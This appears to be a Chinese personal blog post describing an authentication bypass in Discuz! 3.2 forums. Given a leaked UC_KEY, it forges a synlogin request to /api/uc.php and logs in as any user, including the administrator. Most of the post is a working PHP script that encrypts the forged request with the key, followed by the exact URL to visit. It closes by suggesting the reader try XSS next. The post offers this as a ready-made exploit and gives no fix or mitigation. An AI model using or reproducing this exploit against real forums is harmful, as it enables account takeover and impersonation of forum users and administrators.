请叫我峰子:
感受VPS建站的乐趣。

Discuz!3.2 最新版本利用UC_KEY登陆任意用户

Discuz!3.2 最新版本利用UC_KEY登陆任意用户
前提得知道uc_key哦…

几乎所有版本都可以吧
/api/uc.php里面有个synlogin方法是用来登陆的,只需要一个uid

function synlogin($get, $post) {
global $_G;if(!API_SYNLOGIN) {
return API_RETURN_FORBIDDEN;
}

header(‘P3P: CP=”CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR”‘);

$cookietime = 31536000;
$uid = intval($get[‘uid’]);
if(($member = getuserbyuid($uid, 1))) {
dsetcookie(‘auth’, authcode(“$member[password]t$member[uid]”, ‘ENCODE’), $cookietime);
}
}

只要网上随便找个以前uc_key  getshell的脚本加密一下这个’time=’.time().’&action=synlogin&uid=你要登陆的用户的id’;

<?php
$uc_key=”xxxxxx”;
$a = ‘time=’.time().’&action=synlogin&uid=1′;
echo $code=urlencode(_authcode($a, ‘ENCODE’, $uc_key));
function _authcode($string, $operation = ‘DECODE’, $key = ”, $expiry = 0) {
$ckey_length = 4;$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == ‘DECODE’ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = ”;
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == ‘DECODE’) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}

}

得到code后直接访问 论坛url/api/uc.php?code=你加密后的code,就能登陆了,admin管理员也是可以登陆的..

 

sff

虽然不能登陆后台 但是危害性还是很大的  可以试试xss

赞(0) 打赏
转载请注明:峰网博客 » Discuz!3.2 最新版本利用UC_KEY登陆任意用户

评论 抢沙发

评论前必须登录!

 

网站建设

企业专线联系我们

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏